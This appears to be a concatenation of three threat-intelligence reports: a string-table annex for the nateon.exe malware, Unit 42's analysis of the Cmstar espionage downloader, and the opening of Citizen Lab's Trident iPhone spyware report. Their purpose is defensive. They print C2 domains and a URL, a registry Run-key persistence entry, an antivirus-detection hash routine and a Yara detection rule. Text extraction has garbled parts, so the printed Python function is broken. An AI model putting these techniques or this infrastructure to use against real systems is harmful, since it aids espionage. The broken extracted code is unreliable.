ShellExecuteExW 10017F08 10023F74 SHCreateItemFromParsingName  10017F61 10023FA4 CoCreateInstance 10018226 10023F2C AllocateAndInitializeSid 100184E2 10023FC8 .DLL 10018534 10023FD4 \x00\u7CA4 1001856E 10023FDC \\x00\u9C04 100185A6 10023FE4  \x00\u1020 100185D2 10023AF4 RqSkce 100185FE 10023FEC 1001862A 10022208 SMI 100186F4 1002401C \SYSPREP\x00\uF8D8 10018720 10024030 \SYSPREP.EXE\x00\u18B8  OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
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CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 1001881A 10024058 LoadLibraryW 10018836 10024068 kernel32.dll 10018879 10024078 FreeLibrary 10018890 10024068 kernel32.dll 10018B30 10022B68 \\x00\uFFFD 10018B71 10024088 sysprep 10018BE4 10023F94 CoInitializeEx 10018C88 1002409C CRYPTBASE.DLL 10018D00 100240BC \\x00\u5C44 10018D3A 100240C4 sysprep 10018D7D 100240D8 \\x00\u0888 10018DBB 100240E0 CRYPTBASE.DLL 10018E1B 10024100 \\x00\u1020 10018E46 100240C4 sysprep 10018E75 10024108 \\x00\u8070 10018EA7 10024110 sysprep.exe 10018FB8 10023FB8 CoUninitialize 1001903E 1002412C CRYPTBASE.DLL 100190B1 1002414C .DLL 10019112 10024158 RUNDLL32.EXE 1001914B 10024178 \x00\uF858 10019197 10024180 \\x00\u6010 100191E0 10024188  \x00\uF42C 10019219 10023AF4 RqSkce 10019252 10024190 1001928B 10022208 SMI 1001949A 10023ED8 CreateRemoteThread 10019534 10024198 Shell_TrayWnd 10019558 10023F08 FindWindowA 100195E4 100241C8 GetCurrentThread 1001962E 100241DC SetThreadPriority 100197F3 10024204 GetSystemMetrics 10019842 10024230 gethostbyname 10019891 10024240 lstrcatW 100198E3 1002424C ResumeThread 10019939 1002425C QueueUserAPC 1001A25C 100242C8 \\.\PIPE\RUN_AS_CONSOLE_USE R(d)\x00\u0CB4\u40E5 \u4033\uC0C0 1001A419 1002426C download.windowsupdate.co m56 1001A66A 10024288 \\.\PIPE\RUN_AS_CONSOLE(d )\x00\u7000\u78D8\u6 090\u2828 1001A914 100241F0 GlobalMemoryStatus 1001AA61 100236DC MHZ 1001AA7F 100236E8 HARDWARE\DESCRIPTION\SYS TEM\CENTRALPROCESSOR\0\x 56 The hardcoded domain name download.windowsupdate.com isusedto detect internet connectivity.
This domain name can be overridden in the malwaresconfiguration.
CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 00\u70C0\u28FB\u38E4 \u680B 1001AB05 10024218 GetSystemDefaultLCID 1001AB81 1002430C s 1001ABC1 10022658 s 1001AC02 10024314 1001AC23 10024318 s 1001AC6B 10024320 s 1001ACA4 10022658 s 1001ACE1 10024328 1001ACFC 1002432C s 1001B0D7 10024334 .DLL 1001B11A 10024340 RUNDLL32.EXE 1001B15A 10024360 \x00\u5878 1001B1B4 10023FDC \\x00\u9C04 1001B1F4 10024368  \x00\u9CE4 1001B22C 10023AF4 RqSkce 1001B266 10024370 1001B29B 10022214 SMU 1001B54A 10024378 RtlNtStatusToDosError 1001B599 100243B0 RtlDecompressBuffer 1001B5F8 100243C8 RtlCompressBuffer 1001B677 10024390 RtlGetCompressionWorkSpaceSi ze 1001BD1B 10024288 \\.\PIPE\RUN_AS_CONSOLE(d )\x00\u7000\u78D8\u6 090\u2828 1001BEDB 100243DC TerminateThread 1001BF2F 10024418 SetUnhandledExceptionFilter 1001BF7E 100243F0 TlsAlloc 1001C028 1002440C TlsFree 1001C0CB 100243FC TlsGetValue 1001C139 10024438 ECountd, 1001C180 10024450 EAddr0xp, 1001C1CC 1002446C ECode0xx, 1001C214 10024488 ESalFd 1001C2D4 1002449C MessageBoxA 1001C32C 100244AC lstrcpyA 1001C380 100244B8 InternetOpenA 1001C3D4 100244C8 InternetOpenUrlA 1001C431 100244DC InternetReadFile 1001C489 100244F0 InternetCloseHandle 1001C510 10024508 XXXXXXXX57 1001C5E3 10024514 DEMO 1001C618 10024520 TVT 1001C658 10024528 TVTDEMO 1001C6DA 10024534 192.168.0.200 57 Thisset of hardcodedstrings, XXXXXXXX, DEMO, TVT, TVT DEMO, and 192.168.0.200 are hardcoded valuesoverridden by the malwaresconfiguration.
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CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 1001C717 10024534 192.168.0.200 1001C74F 10024548 1001C7BF 1002454C CONFIGDESTORY58 1001CC41 10024560 2.2X 1001CCB2 10024570 Software\SafeSvc\x00\uB 4EC59 1001CD54 10024594 2.2X 1001CD98 100245A4 Software\SafeSvc\x00\u40F 0 1001CDE7 100245C8 socket 1001CE41 100245D0 bind 1001CE94 100245E0 setsockopt 1001CEEE 100245EC shutdown 1001CF3F 100245F8 closesocket 1001CF95 10024608 ioctlsocket 1001CFEC 10024620 htons 1001D03B 10024634 WSAGetLastError 1001D085 10024648 lstrcpynA 1001D45C 100245D8 recv 1001D5C1 10024654 1001D67C 10024658 ProxyAuthorization: Basic 1001D6B5 10024678 GET 1001D6E8 10024680 POST 1001D71B 10024688 CONNECT 1001D775 10024658 ProxyAuthorization: Basic 1001D886 10024694 1001DA8F 10024618 ntohs 1001DB03 10024628 inet_ntoa 1001E16D 100246C8 ResetEvent 1001E1BE 100246D4 InternetConnectA 1001E21A 100246E8 InternetWriteFile 1001E272 10024710 HttpSendRequestExA 1001E2CA 10024724 HttpEndRequestA 1001E31F 10024748 InternetSetOptionA 1001E376 1002475C HttpAddRequestHeadersA 1001E3CF 10024698 EnterCriticalSection 1001E420 100246B0 LeaveCriticalSection 1001EE91 10024774 Mozilla/4.0 (compatible MSIE 6.0 Windows NT5.1SV160 1001EF9B 100247B0 /update?productwindows61 1001EFB6 100247CC POST 58 The string CONFIGDESTORY is displayed in a message box when nateon.exedetectscorruption in itsconfiguration.
It can be usedasa signature to identify similar malware.
59 The unusualhardcoded registry key Software\SafeSvccan be usedasa signature to identify similar malware.
60 This is the useragent included in HTTPrequestsmade by the malware to its configured command and control infrastructure.
Thismalformed useragent string can be used as a signature to detect malicious networktraffic.
61 This is the path included in HTTPrequests made by nateon.exe to itsconfiguredcommandandcontrolinfrastructure.
Thisstring can be used asa signature to detect maliciousnetworkactivity.
CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 1001EFDD 100246FC HttpOpenRequestA 1001F113 10024560 2.2X 1001F189 10024570 Software\SafeSvc\x00\uB4E C 1001F278 100247D4 : 1001F308 100247D8 ProxyAuthorization: Basic s\r\n\x00L 1001F39B 100247FC XSession62 1001F3BC 10024808 s: d 1001F41E 10024810 XStatus 1001F43F 1002481C s: d 1001F49B 10024824 XSize 1001F4B9 1002482C s: d 1001F507 10024834 XSn 1001F525 1002483C s: d 1001F776 10024844 1001F7BB 10024848 1001F7FC 100247FC XSession 1001F845 10024810 XStatus 1001F889 10024824 XSize 1001F8CD 10024834 XSn 1001FC5C 1002484C s 1001FC90 10024738 HttpQueryInfoA 10020324 10024850 connect 10020378 1002486C getpeername 100203CF 10024894 WSAIoctl 10020430 100248A0 WSAGetOverlappedResult 10020662 100248B8 WSAStartup 100206C5 100248C4 WSACleanup 10020A04 100248D0 CONNECTs:d HTTP/1.1\r\n\x00d 10020A46 100248EC Contentlength: 0\r\n\x00tl 10020A7A 10024904 ContentType: text/html\r\n\x00d 10020AAE 10024920 ProxyConnection: Keep Alive\r\n\x00\u2584 \u20A7 10020B10 10024940 : 10020B63 10024944 ProxyAuthorization: Basic s\r\n\x00\u255D 10020C3E 10024968 HTTP/1.0 200 10020C79 10024978 HTTP/1.1 200 1002124B 1002485C getsockname 100212C1 1002487C WSASend 1002134E 10024888 WSARecv 10021438 10024998 static 100214B6 10024988 GetMessageW 62 The HTTP headers XSession, XStatus, XSize, andXSncan be usedto develop stronger signatures for detection of network activity generatedby the malware.
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ANNEX B SUMMARY OFMALWARE KNOWN TO CREATE THEUNIQUELY NAMED DIRECTORY: 03A075FB70D5D675F9DC26FC MD5HASH FILESIZE(BYTES) DATE(S) ANALYSED FILES CREATED NETWORKCONNECTIVITY 16A3 1AA8 E7DDF66A 3155 1840 573B6575 155648 13 July 2011 (ThreatExpert, 2011) mtx.bat winscard2.exe TCPport 1058 openedfor inbound connections ABA9 BAEA 7082 5E6A DF07 2358 7F27 3DC4 3514598 29 July 2011 (ThreatExpert, 2011) zhenxiang.exe winscard.exe TCPports 1052 and1053openedfor inboundconnections BCE1 069DD099 F151 70C5 FD05 BAE9 21B5 133632 29 May 2011 (GFI SandBox, 2011) 03 August 2011 (ThreatExpert, 2011) 106140_d.bat tcmoniter.exe pc.nprotects.org on TCP port 80 E8EE9373 EE6C8360 42E8 F48D8DE2 DDA9 unknown 08 February 2011 (GFI Software, 2011) fbl.bat tcomoniter.exe pc.nprotects.org on TCP port 80 FDF2 C5C2 B187 4EFE 7FD3 3509 2DF2 D3BC unknown 15 July 2011 (GFI SandBox, 2011) 40984_d.bat wincard0.dll uxtheme.dll bbs.ezxsoft.com on TCPport 80 OF24 COPYRIGHTCOMMAND FIVE PTYLTD.
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Cmstar Downloader: Lurid and Enfals New Cousin In recent weeks, Unit 42 has been analyzing delivery documents used in spear-phishing attacks that drop a custom downloader used in cyber espionage attacks.
This specific downloader, Cmstar, is associated with the Lurid downloader also known as Enfal.
Cmstar was named for the log message CM used by the downloader.
Unit 42 is aware of threat actors using two toolkits  MNKit and the Tran Duy Linh toolkit  to produce malicious documents that exploit CVE-2012-0158 in order to implant Cmstar.
The Cmstar downloader itself has several unique and interesting features, as well as substantial infrastructure overlap with other tools worth discussing.
Manual Building of Import Address Table The Cmstar downloader starts by manually building its import address table (IAT), much like shellcode would however, it uses a rather unique technique.
Instead of finding API function names based on their hashed values, this malware enumerates libraries export address table (EAT) and searches for the name of the API function the payload needs to load by using a character to offset array.
The payload pairs several comma-separated lists of characters with comma-separated lists of numbers.
Each list of characters consists of the set found within the API function name the payload seeks to add to its IAT, while the corresponding list of numbers specifies the offset in the function name where those characters should be placed.
For example, if the payload has D,e,A paired with 0,5,19, this results in the following mapping: D at offset 0 in API function name e at offset 5 in API function name A at offset 19 in API function name The payload loads a specific Windows librarys EAT by calling the ImageDirectoryEntryToData API function using the IMAGE_DIRECTORY_ENTRY_EXPORT flag.
It then enumerates the librarys EAT to find exported function names by checking each function name for the character and the specific offset.
Once found, the payload adds the address for the specific API function to its IAT.
For instance, the payload checks the EAT of wininet.dll using the comparisons mentioned above to find the address to the DeleteUrlCacheEntryA API function.
One specific Cmstar payload that we analyzed used the character/offsets seen in Figure 1 to locate the API functions within three different Windows libraries to build its IAT.
Library Characters Offsets Function Name D,e,A 0,5,19 DeleteUrlCacheEntryA wininet.dll e,O,A 3,8,12 InternetOpenA e,C,A 3,8,15 InternetConnectA p,O,A 3,4,15 HttpOpenRequestA p,S,A 3,4,15 HttpSendRequestA p,E,A 3,4,14 HttpEndRequestA p,Q,A 3,4,13 HttpQueryInfoA e,R,e 3,8,15 InternetReadFile e,C,e 3,8,18 InternetCloseHandle advapi32.dll S,V,A 3,6,13 RegSetValueExA C,s,y 3,6,10 RegCloseKey O,K,A 3,7,12 RegOpenKeyExA D,K,A 3,9,12 RegDeleteKeyA D,V,A 3,9,14 RegDeleteValueA U,r,A 3,6,11 GetUserNameA v,t,S 3,6,12 ConvertSidToStringSidA k,A,A 3,6,17 LookupAccountNameA kernel32.dll W,E,c 0,3,6 WinExec C,M,A 0,10,17 CreateFileMappingA U,V,e 0,5,14 UnmapViewOfFile M,O,e 0,7,12 MapViewOfFile Figure 1.
Character and Offset Pairs Found in Cmstar Payload and the Resulting API Function Names Cmstar Behavior After manually creating the IAT, Cmstar decrypts its configuration, several encrypted strings, and a piece of shellcode.
The embedded configuration contains nothing more than a URL that Cmstar uses as its command and control (C2) location.
The encrypted strings within the Trojan include fields used within the HTTP requests that Cmstar will create to communicate with its C2 server, as well as additional strings used to interact with the registry.
The Cmstar sample associated with the MNKIT delivery document creates the following registry key to automatically execute at system startup: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\xpsfiltsvcs: rundll32.exe C:\DOCUME1\ADMINI1\LOCALS1\Temp\xpsfiltsvcs.dll,XpsRegisterServer Unit 42 found an additional encrypted registry key that would allow Cmstar to automatically start up after reboots.
However, the code does not decrypt, reference, or use the following registry key in any way, which suggests that the malware author left this artifact in the code after swapping to the run key listed above: HKCU\Software\Microsoft\CTF\LangBarAddIn Cmstar also decrypts a 752-byte piece of shellcode that carries out communications with the C2 server, specifically by sending HTTP POST requests to the following URL: http://happy.launchtrue[.
]com:8080/cgl-bin/update.cgi It should be noted that the C2 URL contains the string cgl-bin, which visually resembles the common cgi- bin folder used by many webservers to run server-side scripts.
Unit 42 used the Palo Alto Networks AutoFocus threat intelligence service to locate additional samples using the cgl-bin string within URLs of HTTP requests and found several samples of the Cmwhite tool associated with the LURID/Enfal downloader1, as seen in Figure 2.
Figure 2.
Cmwhite Tools Using cgl-bin within HTTP Requests Cmstars HTTP POST requests sent to happy.launchtrue[.
]com contain data that the Trojan gathers from the infected machine that has the following structure: Windows Version numberCPU Architecture (2 for x64, 1 for x86)?
?boolean for elevated privileges]]boolean if antivirus processes are foundstatic version string In one example, Unit 42 observed the following data within an analysis environment, which was then encrypted using a single-byte XOR algorithm and a key of 0x45 before being sent to the C2 server: http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/05/Cmstar1.png 5101?
?1]]0150316o Helpfully, the malware author writes log messages to the DF64159.TMP file, used for debugging purposes throughout the execution of the Cmstar downloader.
The log messages are abbreviated strings that describe specific activities during the execution of the code.
For instance, the downloader uses the CreateMutex to create a mutex named 53A4988C-F91F-4054-9076-220AC5EC03F3 to determine if another instance of the code is running.
If the downloader determines another instance of itself is running, the code writes the string CM  which happens to be the basis for the name of the Trojan  to the log file.
Unit 42 created a Yara signature to detect Cmstar samples based on these debugging strings, which is available in the appendix.
Hashing Process Names As mentioned in the behavioral analysis section, the Cmstar downloader gathers system-specific information to send to the C2 server.
One such piece of information is the existence of specific running processes.
Many malware families and tools check for the existence of antivirus, but the Cmstar tool does so in a clever way.
Rather than including a list of strings of associated processes, Cmstar enumerates the running processes and subjects these process names to a hashing algorithm.
The results of this algorithm are then compared against three static values: 0x1E00AFA, 0xBEE091E8 and 0xD46FCDFA.
Unit 42 reverse engineered the algorithm and created the function seen below to generate hashes in order to determine the processes Cmstar is trying to find: 1 2 3 4 5 6 7 8 9 10 11 12 def hashStr(st): hash  0 count  0 while count  len(st): h1  (hash0x13)0xFFFFFFFF h2  (hash0x0d)0xFFFFFFFF def hashStr(st): hash  0 13 14 15 16 17 18 19 20 21 h3  (h1h2)0xFFFFFFFF hash  (h3  (ord(st[count])0x4a))0xFFFFFFFF count  1 return hash Unit 42 found that the string avp subjected to the algorithm above results in the value 0x1E00AFA, which suggests the Cmstar sample specifically looks for Kasperskys Anti-virus product (avp.exe) running on the compromised system.
If the Trojan finds processes whose hash matches the three values mentioned earlier, it sets a boolean value (the character 1) within the data sent to the C2 server and continues carrying out its functionality.
Rather than altering its activities, Cmstar only notifies the C2 server if a system is running one of these processes, suggesting that the threat actors might employ this technique as a filtering mechanism to ignore analysis systems and researchers.
Threat Infrastructure In order to determine the intrusion set involved with the Cmstar, Unit 42 enumerated infrastructure used by the downloader for its C2 servers.
The related infrastructure chart in Figure 3 shows a rather large cluster of related entities with one small set of entities that do not share any related entities with the larger cluster.
Figure 3.
Infrastructure and Entites Related to Cmstar As seen in the chart above, the C2 domain happy.launchtrue[.
]com was originally registered using the email address WANGMINGHUA6GMAIL[.
]COM.
When Unit 42 used the Palo Alto Networks AutoFocus threat intelligence service to locate additional Cmstar samples, we found several with C2 domains that also had the same original registrant: links.dogsforhelp[.
]com three.earewq[.
]com question.eboregi[.
]com here.pechooin[.
]com sarey.phdreport[.
]com bakler.featurvoice[.
]com The only known Cmstar C2 domain not initially registered by the email address was help.ubxpi0s[.
]com.
Further analysis revealed that additional domains related to Cmstar C2 domains were also originally registered using the email address WANGMINGHUA6GMAIL[.
]COM and updated to the current information within a few days.
In addition, this was the original registrant for C2 domain used in our Google Code blog2, indicating this registrant email is likely a re-seller, and/or someone who initially sets http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/05/Cmstar2.png up infrastructure for particular APT threat actors.
forever.cowforhelp[.
]com question.shiesiido[.
]com endline.biortherm[.
]com right.marubir[.
]com baby.brabbq[.
]com lind.kruptcy[.
]com The rest of the domains related to the Cmstar infrastructure did not use the original registrant noted above, but instead kept the same information initially used to register them.
The difference in domain registration patterns could indicate threat actor preference, or could indicate there are at least two groups using this malware whose infrastructure at times overlaps.
under.suttgte[.
]com help.ubxpi0s[.
]com finally.basiccompare[.
]com crystal.diskfunc[.
]com queenfansclub[.
]com novnitie[.
]com flash-vip[.
]com replyfunt[.
]com natcongress[.
]com keep.regebky[.
]com love.regebky[.
]com Interestingly, the updated registrant information (or original, in the cases where it wasnt changed) for all of the C2 domains in this blog has also been used to register scam sites, most purporting to sell knock-off designer products like shoes, software, or cell phones.
The contact emails and contact names can vary, but the address is re-used.
Blue Coat noted this pattern as well in a blog published late last year, which also noted the  WANGMINGHUA6GMAIL[.
]COM registrant email.3 It is not known whether the threat actors conducting the malicious activity are also behind the scam sites.
Conclusion The Cmstar tool has several interesting features, including a previously unseen method of manually creating its import address table using an API function name character to offset mapping techniques, and a hashing algorithm used to find antivirus processes on an infected system.
Both of these features are noteworthy and may provide the ability to correlate future tools to the same group and/or malware authors.
The URL used by Cmstar to communicate with its C2 server, as well as significant infrastructure overlap, show a direct relationship between the Cmstar downloader, Lurid/Enfal and Cmwhite tools.
In a majority of the cases, threat actors using the Cmstar downloader initially register the C2 domains using the email address WANGMINGHUA6GMAIL[.
]COM and later change the registration information to include a different email address.
Unit 42 cannot positively confirm that the threat actors control the WANGMINGHUA6GMAIL[.
]COM email address, or if the email address belongs to a reseller that the threat actors buy domains from to create their infrastructure however, we do believe this is an interesting TTP worth tracking in future infrastructure enumeration.
1.
THE LURIDDOWNLOADER  Nart Villeneuve and David Sancho http://la.trendmicro.com/media/misc/lurid-downloader-enfal-report-en.pdf 2.
Attacks on East Asia using Google Code for Command and Control  Jen Miller-Osborn and Rob Downs  http://researchcenter.paloaltonetworks.com/2014/08/attacks-east-asia-using-google- code-command-control/ 3.
Linking APTs from 2011 and 2014 to an Active Scam Network  Kiel Wadner https://www.bluecoat.com/security-blog/2014-10-08/linking-apts-2011-and-2014-active-scam- network Appendix Known Cmstar Downloaders Filename: xpsfiltsvcs.tmp SHA256: 239a25ac2b38f0be9392ceeaeab0d64cb239f033af07ed56565ba9d6a7ddcf1f C2: links.dogsforhelp.com Filename: xpsfiltsvcs.tmp SHA256: 6b557c22ab12e8ea43d29e4f9f8a9483e3e75cd41338a674c9069b6dacdf7ba7 C2: question.eboregi.com Filename: xpsfiltsvcs.tmp SHA256: 7ade616a8f1750cecba944a02e2bce1340b18a55697b29f721ccc4701aadba6e C2: links.dogsforhelp.com Filename: xpsfiltsvcs.tmp SHA256: 88184983733f4d4fa767ad4e7993b01c5754f868470dd78ac1bad2b02c9e5001 http://la.trendmicro.com/media/misc/lurid-downloader-enfal-report-en.pdf http://researchcenter.paloaltonetworks.com/2014/08/attacks-east-asia-using-google-code-command-control/ https://www.bluecoat.com/security-blog/2014-10-08/linking-apts-2011-and-2014-active-scam-network C2: here.pechooin.com Filename: xpsfiltsvcs.tmp SHA256: b9d597aea53023727d8564e47e903b652f5e98a2c32bdc23bc4936448fb2d593 C2: question.eboregi.com Filename: xpsfiltsvcs.tmp SHA256: e0b3cc07d3a9b509480b240368dee2a29713ea1e240674c0ccf610c84810a7c5 C2: question.eboregi.com Filename: xpsfiltsvcs.txt SHA256: f4b8f71c0e10a345a855763e01033e2144e949c8f98c271755cc025e3f55b7da C2: three.earewq.com Filename: xpsfiltsvcs.tmp SHA256: 2e00a98212c5a2015d12612f0d26039a0c2dfee3e1b384675f613e683f276e02 C2: bakler.featurvoice.com Filename: xpsfiltsvcs.dll SHA256: 42ed2edc37b957266ff7b02955a007dd82d955c09ef7be23e685d938e40ad61d C2: turber.xoxcobbs.com Filename: xpsfiltsvcs.dll SHA256: 9b9cc7e2a2481b0472721e6b87f1eba4faf2d419d1e2c115a91ab7e7e6fc7f7c C2: happy.launchtrue.com Filename: xpsfiltsvcs.tmp SHA256: a330c52b7643de9d8be51a4ae0150b7b8390dbabaea9704069694835fbd3298e C2: three.earewq.com Filename: xpsfiltsvcs.tmp SHA256: a8fa487d9f2152738bf49c8c69e8a147aae55c06f37c7e25026a28f21601ad7f C2: sarey.phdreport.com Filename: xpsfiltsvcs.tmp SHA256: c99c0b37f2fd64fa523d39c35ead6416a684ae203ae728feb5feff8490eb902c C2: help.ubxpi0s.com Filename: xpsfiltsvcs.tmp SHA256: d541280b37dd5e2101cc5cd47b0991b8320714f5627b37646330136cddef0c23 C2: three.earewq.com Filename: coyote_load.dll SHA256: adb05c1eecd789582886b3354b53831df9c9a06e891bb687633ee7ce21417edc C2: bakler.featurvoice.com Delivery Documents Installing Cmstar Filename:     .doc (What is needed reform of the army Ukraine.doc) MD5: 76ffb9c2d8d0ae46e8ea792ffacc8018 SHA256: c26c67eac20614038aaadfda19b604862926433333893d65332928b5e36796aa Type: MIME entity text Toolkit: MNKit Author: User123 Last Saved By: User123 Created: 2012-05-01T14:08:00Z Modified: 2012-05-01T14:12:00Z Filename:  - .doc (launch of the carrier rocket Soyuz.doc) MD5: 6fdeadacfe1dafd2293ce5c4e178b668 SHA256: e39b0e777ef0135c1f737b67988df70c2e6303c3d2b01d3cdea3efc1d03d9ad9 Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename: ___.doc (RF China Agriculture and Economy.doc) MD5: 9da10a36daf845367e0fc2f3e7e54336 SHA256: a0aeb172a72442d2c2c02e1d32b48accb9975c4da7742df24d9350a8ccd401f2 Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename:    .
.doc (Former Prime Minister started to check with their lethargy.doc) MD5: f7d47e1de4f5f4ad530bca0fc080ea53 SHA256: 4883286b8229a2c43db17eb1e1c5bd79d1933e840cdfedff80d5b99a84c9e39f Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename:  - .doc (launch of the carrier rocket Soyuz.doc) MD5: 6fdeadacfe1dafd2293ce5c4e178b668 SHA256: e39b0e777ef0135c1f737b67988df70c2e6303c3d2b01d3cdea3efc1d03d9ad9 Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation MD5: 5aeb8a5aa8f6e2408016cbd13b3dfaf0 SHA256: df34aa9c8021f1f0bdf33249908efc4a9628941453ad79b281b3a46bf9a7f37f Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename:  .doc (Putins invitation.doc) SHA256: 45027d11ab783993c413f97e8e29759d04b04564f8916f005f5c632f291697bb Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation MD5: 46bf922d9ae07a9bc3667a374605bdbb SHA256: 7dc78caf515d1d3d2b84be7c023ccbd0b4fd670a42babcbcbd5a5ba65bbdd166 Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename: -2015.doc (Army-2015.doc) MD5: 783a423f5e285269126d0d98f53c795b SHA256: 5b338decffe665a2141d1079c32b2d612057d1fdbfddf198cc28003dae7f0516 Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename:   70  .doc (Happy 70 years of victory.doc) MD5: 510b3272342765743a202373261c08da SHA256: 0a10d7bb317dceccd05d18408fd6b8b12c784910e5f7e035ee22c2c5d7e4cbf5 Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename: new resume.doc MD5: c5ae7bd6aec1e01aa53edcf41962ac04 SHA256: 87bcc6d18c6a81d92d826b232703dee84b522bd1d0cae56f74bcf58fdca0930e Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation MD5: 3d41e3c902502c8b0ea30f5947307d56 SHA256: b65dd4da9f83c11fcb5beaec43fabd0df0f7cb61de94d874f969ca926e085515 Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Filename: -2015.doc (Center-2015.doc) MD5: 94499ff857451ab7ef8823bf067189e7 SHA256: 671dfc4d47a43cf0bd9205a0f654dcd5050175aef54b69388b0c5f4610896c6a Type: Microsoft Office Word 97-2003 Document Toolkit: Tran Duy Linh Created: 2012:11:23 04:35:00 Modified: 2012:11:23 04:39:00 Company: DLC Corporation Related Cmwhite Tools MD5: 3fff0bf6847d0d056636caef9c3056c3 SHA256: 13c1d7eb2fd64591e224dec9534d8252f4b91e425e8f047b36605138d15cbf2d C2: stone.timmf.com MD5: 30a6c3c7723fe14c4b6960fa3e4e57ba SHA256: ab934c6177be0fdc3b6dfbf21f60ce7837a30e6599dcfb111b43008c75ceb91f C2: xphome.mailru-vip.com C2: error.yandex-pro.com MD5: e0417547ba54b58bb2c8f795bca0345c SHA256: 1cf44815f9eb735e095f68c929d5549e0ebc44af9988cccaf1852baeb96bb386 C2: dns.thinkttun.com MD5: d05f012c9c1a7fb669a07070be821072 SHA256: a37f337d0bc3cebede2039b0a3bd5afd0624e181d2dcc9614d2f7d816b5a7a6b C2: help.redhag.com C2: mssage.hotoicq.com C2: new.hoticq.com Cmstar Yara Rule 1 2 3 4 5 6 rule ce_enfal_cmstar_debug_msg 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 rule ce_enfal_cmstar_debug_msg  meta: author  rfalcone description  Detects the static debug strings within CMSTAR reference  9b9cc7e2a2481b0472721e6b87f1eba4faf2d419d1e2c115a91ab7e7e6fc7f7c date  5/10/2015 strings: d1  EEE\x0d\x0a fullword d2  TKE\x0d\x0a fullword d3  VPE\x0d\x0a fullword d4  VPS\x0d\x0a fullword d5  WFSE\x0d\x0a fullword d6  WFSS\x0d\x0a fullword d7  CM\x0d\x0a fullword condition: uint16(0)  0x5a4d and all of (d)
The Million Dollar Dissident: NSO Groups iPhone Zero-Days used against a UAE Human Rights Defender citizenlab.org /2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/ Authors: Bill Marczak and John Scott-Railton,  Senior Researchers at the Citizen Lab, with the assistance of the research team at Lookout Security.
Media coverage: The New York Times, Motherboard, Motherboard (2), Motherboard (3), Motherboard (4), Gizmodo, Wired, Washington Post, The Guardian, ZDNet, CBC Metro Morning (audio), Associated Press (video), Mashable, Foreign Policy, Reuters, CPJ, Quartz, Ars Technica, Wall Street Journal (1), Wall Street Journal (2), BBC News, BBC News (2), The Independent, TechCrunch, CBC News (1), CBC News (2), Telegraph, Business Insider (1), Business Insider (2), Al Jazeera, South China Morning Post , SC Magazine, ABC Australia, The Next Web, Russia Today, Xinhua, The Journal Ireland, The Australian, International Business Times, Buzz Feed News, Computerworld, Threatpost, USA Today, CNET, Financial Times, PCMag, Newsweek, Huffington Post (1), Huffington Post (2) Techdirt, Engadget, Forbes, The Daily Dot, IT World Canada, Global News, BNN, ITnews, Techmoran, YourMiddleEast, TechRepublic, Macworld, Bloomberg.
Read Citizen Lab Director Ron Deiberts blog post on this report.
Update (Sept 1, 2016): Today Apple released security updates for Desktop Safari and Mac OS X.
These updates patch the Trident vulnerabilities that identified in this report for desktop users.
The Trident vulnerabilities used by NSO could have been weaponized against users of non iOS devices, including OSX.We encourage all Apple users to install the update as soon as possible.
Citizen Lab is not releasing samples of the attack at this time to protect the integrity of still-ongoing investigations.
This report describes how a government targeted an internationally recognized human rights defender, Ahmed Mansoor, with the Trident, a chain of zero-day exploits designed to infect his iPhone with sophisticated commercial spyware.
1.
Executive Summary Ahmed Mansoor is an internationally recognized human rights defender, based in the United Arab Emirates (UAE), and recipient of the Martin Ennals Award  (sometimes referred to as a Nobel Prize for human rights).
On August 10 and 11, 2016, Mansoor received SMS text messages on his iPhone promising new secrets about detainees tortured in UAE jails if he clicked on an included link.
Instead of clicking, Mansoor sent the messages to Citizen Lab researchers.
We recognized the links as belonging to an exploit infrastructure connected to NSO Group, an Israel-based cyber war company that sells Pegasus, a government-exclusive lawful intercept spyware product.
NSO Group is reportedly owned by an American venture capital firm, Francisco Partners Management.
The ensuing investigation, a collaboration between researchers from Citizen Lab and from Lookout Security, determined that the links led to a chain of zero-day exploits (zero-days) that would have remotely jailbroken Mansoors stock iPhone 6 and installed sophisticated spyware.
We are calling this exploit chain  Trident.
Once infected, Mansoors phone would have become a digital spy in his pocket, capable of employing his iPhones camera and microphone to snoop on activity in the vicinity of the device, recording his WhatsApp and Viber calls, logging messages sent in mobile chat apps, and tracking his movements.
We are not aware of any previous instance of an iPhone remote jailbreak used in the wild as part of a targeted attack campaign, making this a rare find.
